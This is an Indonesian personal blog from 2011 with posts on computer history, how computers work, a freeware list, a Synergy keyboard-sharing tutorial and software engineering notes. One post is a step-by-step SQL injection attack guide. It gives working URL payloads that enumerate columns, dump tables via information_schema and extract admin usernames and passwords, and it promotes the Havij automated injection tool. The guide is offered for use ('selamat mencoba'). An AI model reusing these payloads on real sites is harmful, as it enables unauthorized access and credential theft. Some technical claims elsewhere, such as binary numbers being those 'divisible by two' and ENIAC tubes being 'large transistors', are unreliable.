Jumat, 30 September 2011

Penemu Komputer Pertama Kali di Dunia

Berawal dari sebuah pertanyaan siswa, pada saat jam pelajaran berlangsung yang bertanya kepada saya … “Siapakah nama penemu komputer pertama kali didunia pak ?”

berikut ini urut-urutannya :

Penemu pertama kali adalah Charles Babbage seorang pakar matematik pada tahun 1822, namun perkembangan selanjutnya tidak lepas dari jasa para penemu dari generasi berikutnya.

Siapa sajakah penemu berikutnya mereka adalah : >>>>

Tahun 1822 Charles Babbage, dengan idenya yang cemerlang mendciptakan sebuah alat yang dapat membantu manusia dalam melakukan perhitungan yang rumit. Mesinnya yang tidak selesai dibuat saat ini berada di London Museum of Science. Dari sinilah cikal bakal komputer diawali.

Tahun 1937 Dr. John V Atanasoff dan Clifford Berry mendesain komputer digital elektronis pertama. Dengan nama ABC (Atanasoff-Berry Computer). ABC hanya dapat menghitung tambah dan kurang.

Tahun 1943 Selama Perang Dunia 2, ilmuwan Inggris yang bernama Alan Turing mendesain komputer elektronik khusus untuk tentara Inggris. Digunakan untuk menembus kode pertahanan Jerman.

Tahun 1944 Howard Hathaway Aiken (american) membuat Mark I. Sebuah komputer hitung digital pertama yang dibuat. Memiliki luas 7,45 kaki x 50 kaki, dengan berat 35 ton. Mark I dapat digunakan untuk menghitung probabilitas.

Tahun 1945 Dr. John von Neumann menulis konsep penyimpanan data. Saat itu masih berupa ide.

Tahun 1946 Dr. John W. Mauchly dan J. Presper Eckert, jr. menyelesaikan komputer skala besar yang pertama, diberi nama ENIAC (Electronic Numerical Integrator And Computer). Dunia mengetahui kedua orang ini sebagai PENEMU KOMPUTER.
ENIAC berbobot 30 ton, terdiri dari 18.000 lampu tabung (transistor ukuran besar), memiliki luas 30 kaki x 50 kaki, memakai tenaga 160.000 watt. Pertama kali komputer ini dinyalakan, seluruh jaringan listrik di Philadelphia mendadak mati.
ENIAC tidak hanya dapat menghitung tambah kurang kali bagi, tapi juga dapat diprogram untuk melakukan proses sederhana. Dibanding Mark I yang hanya dapat menghitung, dapat dilihat bahwa ENIAC adalah KOMPUTER pertama di dunia.

Tahun 1947 Transistor pertama ditemukan oleh William Shockley, John Bardeen, dan Walter Brattain. Semenjak transistor ditemukan, ukuran komputer semakin mengecil..

Dari sejarah di atas, maka dapat diketahui bahwa penemu KOMPUTER (bukan kalkulator) adalah Dr. John W. Mauchly dan J. Presper Eckert, jr..

Jadi Jawabannya Penemu Komputer Pertama Kali yaitu : Dr. John W. Mauchly dan J. Presper Eckert, jr..

CARA KERJA KOMPUTER

Cara kerja komputer secara garis besar terbagi ke dalam tiga golongan yaitu :

Input
Process
Output


Input, yaitu Media yang digunakan untuk memasukan data ke dalam process, media ini seperti Keyboard,Mouse,Tave Recorder, HandyCam, CAM dan lain-lainnya.
Process, yaitu suatu alat yang digunakan untuk memproces data dari Input yang nantinya akan di keluarkan ke system Output. Proces ini berperan penting dalam system Komputer. Media untuk process yang sudah menjadi system yang utuh yaitu biasa kita kenal dengan Mainboard atau sering disebut dengan Motherboard. dimana di dalam mainbord ini sudah termasuk di dalamnya yaitu CPU (Central Processing Unit), biasanya orang menyebut CPU itu adalah sudah dalam satu kemasan beserta Casingnya yang berbentuk kotak yang lengkap didalam nya. Sebenarnya jantung dari semua proces data itu terletak pada inti yang bernama yaitu Processor, Processor ini merupakan komponen Elektronika yang sudah terprogram dengan rangkaian-rangkain logika di dalamnya. contoh processor misalnya Pentium 1, pentium 2, sampai dengan pentium 4 dan yang lebih populer sekarang ini pentium Core 2 duo atau core Duo.
Output, yaitu media keluaran dimana media ini adalah untuk menampilkan hasil data dari proces tersebut, media Output ini berupa PRinter, Plotter, dll.


secara garis besar prinsip kerja ini dapat dilihat pd gambar di bawah ini :

data yang datang pada media Input merupakan data digital yang merupakan bilangan Biner ( yaitu bilangan yang habis di bagi dengan dua ) dimana bilangan ini hanya mengenal angka 0 dan 1. data yang datang ke proces merupakan kombinasi dari angka 0 dan 1, yang berbentuk 8 bit data, atau 16 bit atau juga 32 bit,tergantung dari sistem komputer yang digunakan dan processornya pun demikian 8 bit, 16 bit atau 32 bit, BIT ( Binary Digit ).

Rabu, 28 September 2011

pengertian ethernet card, main board, dan processor

pengertian ethernet card, main board, dan processor
ethernet card adalah card yang dipasang dikomputer untukdapat berkomunikasi dengan komputer lainnya melalui jaringan LAN (LOCAL AREA NETWORK)

Main board atau mother board adalah papan litar besar yang menempatkan komponen-komponen utama

processor adalah teknologi hyper pipelined yang berguna untuk meningkatkan kinerja dan frekuensi processor

Senin, 19 September 2011

24 software gratis

"24 Software Gratis (Full Version) Pilihan Yang Perlu Tuk Anda Miliki!"

Adobe Reader (membaca file ebook berformat pdf)
PrimoPDF (membuat file ebook berformat pdf)
Rapid Typing Tutor (belajar mengetik cepat)
BricoPack Vista Inspirat Ultimate (merubah tampilan windows XP ke Vista)
Photobie (versi freeware saingan adobe photoshop)
IZArc (compression tool terbaik, versi duniadownload)
Free and Easy Biorhythm Calculator (software untuk meramal)
XnView (pengelola lebih dari 400 jenis file gambar)
AVG AntiVirus Free (antivirus yang telah digunakan oleh lebih dari 50 juta orang di dunia)
Winamp (software pemutar musik terpopuler)
BioniXWallpaper (perubah tampilan desktop background otomatis)
Free Screen Hunter (ahlinya pembuat screenshot dari tampilan layar computer)
Download Accelerator Plus (peningkat kecepatan download)
CCleaner (penghilang file file tidak berguna dari sistem komputer)
Ad-Aware Free (software anti spyware terpopuler di dunia)
Smadav Anti Virus (antivirus lokal kebanggaan indonesia)
Youtube Downloader (untuk mendownload video dari youtube)
FLV Player (pemutar file berformat flv/flash video)
GOM Player (pemutar file video paket komplit!)
Mozilla Firefox (browser internet terpopuler)
Google Earth (jelajahi dunia melalui internet)
CD Burner XP (pem'burn CD & DVD gratis)
Quran Auto Reciter (belajar membaca sambil mendengarkan Al-Quran)
Camstudio (perekam aktivitas di layar komputer)

Cara Hacking Website dengan teknik SQL Injection

Cara ngehacking web atau biasa disebut web attack sangat banyak caranya, salah satunya dengan cara SQL injection.
apa itu SQL injection ?
SQL injection terjadi ketika attacker bisa meng-insert beberapa SQL statement ke ‘query’ dengan cara manipulasi data input ke applikasi tsb.
ini salah satu cara melakukan tekhnik SQL injection, cara ini saya copas dari http://jasakom.com oleh seorang penulis sebut saja cruz3N
oke, mari kita simak bersama-sama.
1. Pertama kali yang kita lakukan tentu mencari target. Misalnya target kita kali ini adalah
http://www.target.com/berita.php?id=100
2. Tambahkan karakter ‘ pada akhir url atau menambahkan karakter “-” untuk melihat apakah ada pesan error.
Contoh :
http://www.target.com/berita.php?id=100'
atau
http://www.target.com/berita.php?id=-100
4. Maka akan muncul pesan error…
“You have an error in your SQL syntax.You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to use near ”’
at line 1″ Dan masih banyak lagi macamnya.
5. Next step adalah mencari dan menghitung jumlah table yang ada dalam databasenya…
Disini kita akan menggunakan perintah order by
Contoh :
http://www.target.com/berita.php?id=100+order+by+1/*
Hohoho…apalagi itu “/*” ? Itu adalah karakter penutup perintah SQL atau kita juga bisa pake “–”. Terserah aja…
Kalo “+” sebagai penghubung perintah…
6. Nah sampe sini langsung dah nyobain satu2…
http://www.target.com/berita.php?id=100+order+by+1/* (gak ada error)
http://www.target.com/berita.php?id=100+order+by+2/* (gak ada juga)
http://www.target.com/berita.php?id=100+order+by+3/* (capek dah)
http://www.target.com/berita.php?id=100+order+by+4/* (jangan nyerah)
Sampai muncul error…
Misalkan errornya disini…
http://www.target.com/berita.php?id=100+order+by+10/*
Berarti yang kita ambil adalah “9″
http://www.target.com/berita.php?id=100+order+by+9/*
7. Untuk mengetahui berapa angka yang show sekarang kita pake UNION
Contoh :
http://www.target.com/news.php?id=100+union+select+1,2,3,4,5,6,7,8,9/*
Trus perhatikan angka berapa yang keluar (Kayak togel aja… ;p)
8. Misalnya angka hoki yang keluar adalah “3″ maka yang bisa akan kita lakukan adalah mengecek versi berapa mysql yang dipake dengan perintah “version()” atau “@@version”
http://www.target.com/news.php?id=100+union+select+1,2,version(),4,5,6,7,8,9/*
Atau
http://www.target.com/news.php?id=100+union+select+1,2,@@version,4,5,6,7,8,9/*
9. Nah kalo versinya 5 langsung aja pake perintah “information_schema” untuk melihat tabel dan kolom yang ada pada database…
Contoh :
http://www.target.com/berita.php?id=100+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables/*
Nah katanya kalo untuk melihat tabel-tabel yang lain kita tambahkan LIMIT pada akhir URL. Tapi waktu itu gua gak pake keliatan kok tabelnya…Apa gua salah? Mungkin tapi sekarang yang gua mau jelaskan adalah VERSI DAN PENGALAMAN GUA. Mungkin agak lain…ya maklum lah baru belajar…Hehehe…
Misalnya yang lo liat adalah table “admin”
Nah sekarang kita liat-liat dulu kolomnya dengan mengganti aja kata “table”-nya…
Contoh:
http://www.target.com/berita.php?id=100+union+select+1,2,column_name,4,5,6,7,8,9+from+information_schema.colums/*
Misalnya kolom yang keluar adalah “password” dan “username”
Langsung aja kita liat isinya…
Contoh :
http://www.target.com/news.php?id=100+union+select+1,username,3,4,5,6,7,8,9+from+admin/*
dan
http://www.target.com/news.php?id=100+union+select+1,password,3,4,5,6,7,8,9+from+admin/*
Bisa diliat dah username ama passwordnya…Tinggal login…Cari yang asik terus…Terserah Anda…
—————————————————
begitulah yang dituliskan disana.
anda masih belum paham tentang apa SQL injection ?
tenang silahkan anda download file dokumen dibawah ini tentang SQL injection step by step.

Download SQL injection step by step.DOC
oke selamat mencoba. yang terpenting jangan dilakukan di web teman anda ataupun di website Lokal.
referensi :
http://jasakom.com
http://ezine.echo.or.id
http://cruzenaldo.co.cc
http://students.ee.itb.ac.id
Catatan: Cara otomatis dengan memakai software bisa juga dilakukan, selengkapnya lihat artikel berikut ini
Atau mau mencoba tool yang baru saya dapatkan? namanya Havij. Adapun fitur2nya:
  1. Supported Databases with injection methods:
    • MsSQL 2000/2005 with error
    • MsSQL 2000/2005 no error (union based)
    • MySQL (union based)
    • MySQL Blind
    • MySQL error based
    • Oracle (union based)
    • MsAccess (union based)
  2. Automatic database detection
  3. Automatic type detection (string or integer)
  4. Automatic keyword detection (finding difference between the positive and negative response)
  5. Trying different injection syntaxes
  6. Proxy support
  7. Real time result
  8. Options for replacing space by /**/,+,… against IDS or filters
  9. Avoid using strings (magic_quotes similar filters bypass)
  10. Bypassing illegal union
  11. Full customizable http headers (like referer and user agent)
  12. Load cookie from site for authentication
  13. Guessing tables and columns in mysql<5 (also in blind) and MsAccess
  14. Fast getting tables and columns for mysql
  15. Multi thread Admin page finder
  16. Multi thread Online MD5 cracker
  17. Getting DBMS Informations
  18. Getting tables, columns and data
  19. Command executation (mssql only)
  20. Reading system files (mysql only)
  21. Insert/update/delete data

kontrol komputer dari MAC

Kontrol komputer lain dari Mac

Pernahkah membayangkan untuk mengontrol banyak komputer hanya menggunakan satu keyboard dan tetikus? Hal itu sudah bisa dilakukan, dan cara pengaturannya juga sangat gampang. Yang Anda butuhkan adalah sebuah aplikasi bernama Synergy. Synergy tersedia untuk Mac, Windows dan Linux. Silahkan lanjutkan untuk membaca tutorial.Dalam tutorial ini saya akan membahas Mac sebagai server Synergy dengan kata lain keyboard dan tetikus ada di Mac. Komputer lain yang saya pakai adalah sebuah PC WindowsXP. Mari kita mulai.

Langkah 1: Unduh Sinergy untuk Mac dan Windows

Untuk Mac, silahkan Unduh SynergyKM. Dengan SynergyKM Anda akan mempunyai antar muka grafis di dalam System Preference.atau klik ini aja
Versi Windows bisa didapatkan di website Synergy2. Unduh dan silahkan install di mesin Windows.
Apabila Anda ingin mengontrol Mac lain menggunakan Synergy, yang Anda perlukan hanya SynergyKM. Aplikasi yang diunduh bisa menjadi server atau client.

Langkah 2: Pengaturan Server Synergy di Mac

Buka SynergyKM di System Preferences. Di tab General inilah Anda akan mengatur Synergy sebagai server atau client. Karena kita akan mengatur Synergy sebagai server, pilihlah Server Configuration. Di sini kita akan mengatur server Synergy.
Seperti yang Anda lihat saya sudah mempunyai dua komputer yang terhubung yaitu, NcusMBP dan pc-tua. Untuk menambahkan komputer klik tombol + , akan muncul aikon komputer baru. Posisi aikon monitor merupakan posisikan komputer Anda yang sebenarnya, kalau Windows-nya di kiri, simpan aikon monitornya di kiri. Supaya ketika tetikus bergerak ke kiri masuk ke mesin Windows.
synergyKM_config.jpg
Beri nama sesuai denga nama komputer Windows. Untuk melihat nama komputer Windows, klik kanan di aikon My Computer, pilih properties, dan lihat di tab Computer Name akan terlihat Full computer name, lihat gambar dibawah ini.
nama_komputer_windows.png
Nama komputer Windows
Kalau sudah, tekan Apply Now.

Langkah 3: Memulai Server

Kembali lagi ke tab General. Pilih “Share my keyboard and mouse” untuk menjadikan Mac sebagai server. Pilihan diatasnya untuk Mac menjadi client. Kilk Apply now, dan kemudian klik Turn Synergy on untuk memulai server synergy.
synergyKM_server.jpg
Pengaturan Server Synergy

Langkah 4: Pengaturan client Windows

Server sudah menyala, tinggal mengatur client Windows. Synergynya sudah terpasang di Windows kan? Nyalakan aplikasi Synergy akan terlihat jendela seperti ini.
jendela_synergy.jpg
Jendela Synergi di Windows
Masukan nama komputer Mac, atau masukan nomor IP komputer Mac. Saya coba memakai nama komputer, ternyata gagal, jadi saya pakai nomor IP address, dan berhasil.
Silahakn klik tombol test untuk mengetahui apakah konfigurasi Synergy telah benar. Ketika mengetes, gerakan penunjuk tetikus ke arah monitor Windows. Apabila penunjuk berpindah berati semuanya benar. Kalau tidak, nama komputer atau IP address yang dimasukan salah.
Supaya Windows XP langsung terhubung ke server Synergy Mac, klik tombol AutoStart. Pilih opsi yang Anda inginkan, kalau saya memilih menyalakan Synergy ketika komputer menyala.
Setelah test berhasil, tekan tombol Start. Synergy akan berdiam di system tray.
Silahkan reboot komputer Windows untuk mengetes apakah Autostart-nya bekerja atau tidak.

Fitur lain

Selain berbagi keyboard dan tetikus, Synergy juga bisa menyalin clipboard dari server ke klien atau sebaliknya.

Masalah

Synergy bukanlah sebuah aplikasi yang tanpa kutu. Masalah yang sering terjadi adalah gerakan pointer di komputer klien kadangkala terunda-tunda. Salinan clipboard dari klien tidak tersalin ke server.
Koneksi antar klien dan server tergantung dari kualitas jaringan Anda. Jadi kalau jaringan Anda sibuk, mungkin akan mengalami masalah diatas, atau kadangkala client tidak bisa terhubung ke server Synergy.

Penutup

Dengan menggunakan satu keyboard dan tetikus meja kerja juga menjadi lebih rapih karena tidak ada keyboard yang menumpuk. Kita juga bisa menghemat dana pembelian keyboard dan tetikus.

Minggu, 18 September 2011

REKAYASA PERANGKAT LUNAK

 

Analisa dan Studi Kelayakan dalam Rekayasa Perangkat Lunak 1

Desember 14, 2010
Penyelelidikan Awal Pada Rekayasa Perangkat Lunak
Sebelum tahapan ini dilakukan yang perlu diketahui dan dipertimbangkan adalah alasan timbulnya gagasan untuk membuat sistem informasi atau perangkat lunak yang baru.
Alasan tersebut diantaranya adalah: kecepatan pengolahan yang lebih besar, ketepatan dan konsistensi yang lebih baik, pencapaian informasi lebih cepat, mereduksi biaya, keamanan yang lebih baik.

Metodologi Pengembangan Perangkat Lunak

November 21, 2010
Sebelum digunakannya model atau metode yang dipakai dalam pengembangan perangkat lunak, selalu timbul masalah yang dapat menghambat perkembangan perangkat lunak.  Adapun sebab-sebat timbulnya masalah tersebut adalah :

Membuat Auto Generated Content di WordPress itu mudah

November 17, 2010
Auto Generated Content sangat marak sejak Cosa Aranda mengenalkan dan menjadi heboh. Sebenarnya membuat Auto Generated Content sangatlah mudah. Kita hanya membuat script Auto Generated Content dengan memanfaatkan pencarian dari Search Engine, seperti Google, Yahoo, dan Bing.

Tahapan Pengembangan Rekayasa Perangkat Lunak Versi 2

November 15, 2010
Setelah pembahasan Tahapan Pengembangan Perangkat lunak dan Tahapan Pengembanang Perangkat Lunak  Versi 1, selanjutnya kita akan membahas Tahapan Pengembangan Perangkat Versi 2.  Ada 3 tahap pengembangan :
  • Planning
  • Desain
  • Implementasi
Baca entri selengkapnya »

Tahapan Pengembangan Rekayasa Perangkat Lunak Versi 1

Maret 17, 2010
Tahapan Pengembangan Perangkat lunak versi 1 ini merupakan kelanjutan dari materi sebelumnya, dijelaskan bahwa pengembangan rekayasa perangkat lunak terjadi perbedaan pendapat karena berbagai macam faktor.  Dari perbedaan pendapat tersebut, maka tahapan pengembanan rekayasa perangkat lunak terbagi menjadi 3 versi.

Tahapan Pengembangan Rekayasa Perangkat Lunak

Maret 15, 2010
Dahulu pengembangan perangkat lunak dianggap sebagai kegiatan one pass.  Tetapi sejalan dengan perkembangan waktu, pengembangan perangkat lunak sudah diakui sebagai suatu fakta bahwa kegiatan pengembangan tersebut bersifat cyclic, dengan penyebab utama antara lain :
  • Perkembanga software yang bersifat dinamik, selalu berubah secara kontinyu sehingga seringkali sulit untuk diantisipasi
  • Perkembangan ilmu pengetahuan dan teknologi yang meliputi metode pembuat keputusan maupun teknologi komputer dan teknologi komunikasi dan informasi
  • Ketidaksempurnaan manusia sebagai analisis dan perancang suatu perangkat lunak

Evolusi Perangkat Lunak

Maret 11, 2010
Setelah kita membahas rekayasa perangkat lunak, kita sedikit mundur, untuk membahas evolusi perangkat lunak.  Pengembangan perangkat lunak dapat dibagi menjadi 4 tahap, yaitu :
Tahap Pertama (1950 – 1960)

Evolusi perangkat lunak tahap pertama dimulai pada awal 1950-an sampai pertengahan 1960. Pengembangan perangkat lunak pada tahap pertama mempunyai ciri-ciri berorientasi batch, distribusi software terbatas untuk kalangan tertentu sehingga apabila ada perusahaan yang ingin dibuatkan software khusus harus memesan terlebih dahulu.

Perbandingan Model dalam Rekayasa Perangkat Lunak

Maret 10, 2010
Setelah kita membahas beberapa permodelan rekayasa perangkat lunak, diantaranya model waterfall, model spiral, model incremental dan lain-lain, maka dalam pembahasan kali ini kita akan membahas perbandingan model rekayasa perangkat lunak tersebut.
Baca entri selengkapnya »

Model Synchronize and Stabilize dalam Rekayasa perangkat Lunak

Maret 4, 2010
Model ini adalah model yang digunakan oleh Microsoft.  Secara garis besar, Model Synchronize and Stabilize ini sama dengan model incremental, tetapi oleh CUsamano dan Selby tahun 1997 menyebutnya sebagai model Syncronize and Stabilized Model karena ada beberapa proses manajemen yang ditekannya oleh microsoft.

Model Incremental dalam Rekayasa Perangkat Lunak

Februari 23, 2010
Model Incremental dalam rekayasa perangkat lunak, menerapkan rekayasa perangkat lunak perbagian, hingga menghasilkan perangkat lunak yang lengkap.  Proses membangun berhenti jika produk telah mencapai seluruh fungsi yang diharapkan.
Pada awal tahapan dilakukan penentuan kebutuhan dan spesifikasi.  Kemudian dilakukan perancangan arsitektur software yang terbuka, agar dapat diterapkan pembangunan per-bagian pada tahapan selanjutnya.